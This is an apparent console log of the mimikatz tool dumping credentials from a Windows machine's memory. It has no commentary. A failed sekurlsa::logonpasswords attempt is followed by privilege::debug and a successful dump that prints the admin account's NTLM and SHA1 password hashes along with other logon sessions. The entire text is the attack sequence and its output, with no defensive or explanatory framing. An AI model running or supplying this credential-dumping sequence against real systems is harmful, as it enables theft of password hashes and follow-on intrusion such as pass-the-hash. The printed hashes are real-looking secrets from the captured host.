.#####.   mimikatz 2.1 (x64) built on Jan 21 2017 01:22:06
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 20 modules * * */

mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 5162912 (00000000:004ec7a0)
Session           : RemoteInteractive from 2
User Name         : admin
Domain            : DESKTOP-GPM9JMF
Logon Server      : DESKTOP-GPM9JMF
Logon Time        : 1/31/2017 10:46:31 AM
SID               : S-1-5-21-3010438699-56314322-471919318-1001
        msv :
         [00000003] Primary
         * Username : admin
         * Domain   : DESKTOP-GPM9JMF
         * NTLM     : f67f5e3f66efd7298be6acd32eeeb27c
         * SHA1     : 78637967d96d8a30553a3840f4511bdafa4179d4
        tspkg :
        wdigest :
         * Username : admin
         * Domain   : DESKTOP-GPM9JMF
         * Password : (null)
        kerberos :
         * Username : admin
         * Domain   : DESKTOP-GPM9JMF
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 5162875 (00000000:004ec77b)
Session           : RemoteInteractive from 2
User Name         : admin
Domain            : DESKTOP-GPM9JMF
Logon Server      : DESKTOP-GPM9JMF
Logon Time        : 1/31/2017 10:46:31 AM
SID               : S-1-5-21-3010438699-56314322-471919318-1001
        msv :
         [00000003] Primary
         * Username : admin
         * Domain   : DESKTOP-GPM9JMF
         * NTLM     : f67f5e3f66efd7298be6acd32eeeb27c
         * SHA1     : 78637967d96d8a30553a3840f4511bdafa4179d4
        tspkg :
        wdigest :
         * Username : admin
         * Domain   : DESKTOP-GPM9JMF
         * Password : (null)
        kerberos :
         * Username : admin
         * Domain   : DESKTOP-GPM9JMF
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 5155677 (00000000:004eab5d)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 1/31/2017 10:46:30 AM
SID               : S-1-5-90-0-2
        msv :
        tspkg :
        wdigest :
         * Username : DESKTOP-GPM9JMF$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 5155649 (00000000:004eab41)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 1/31/2017 10:46:30 AM
SID               : S-1-5-90-0-2
        msv :
        tspkg :
        wdigest :
         * Username : DESKTOP-GPM9JMF$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 77370 (00000000:00012e3a)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 1/31/2017 1:07:13 AM
SID               : S-1-5-90-0-1
        msv :
        tspkg :
        wdigest :
         * Username : DESKTOP-GPM9JMF$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 77353 (00000000:00012e29)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 1/31/2017 1:07:13 AM
SID               : S-1-5-90-0-1
        msv :
        tspkg :
        wdigest :
         * Username : DESKTOP-GPM9JMF$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 1/31/2017 1:07:12 AM
SID               : S-1-5-19
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : DESKTOP-GPM9JMF$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 1/31/2017 1:07:12 AM
SID               : S-1-5-20
        msv :
        tspkg :
        wdigest :
         * Username : DESKTOP-GPM9JMF$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
         * Username : desktop-gpm9jmf$
         * Domain   : WORKGROUP
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 33299 (00000000:00008213)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 1/31/2017 1:07:11 AM
SID               :
        msv :
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : DESKTOP-GPM9JMF$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 1/31/2017 1:07:11 AM
SID               : S-1-5-18
        msv :
        tspkg :
        wdigest :
         * Username : DESKTOP-GPM9JMF$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
         * Username : desktop-gpm9jmf$
         * Domain   : WORKGROUP
         * Password : (null)
        ssp :
        credman :

mimikatz #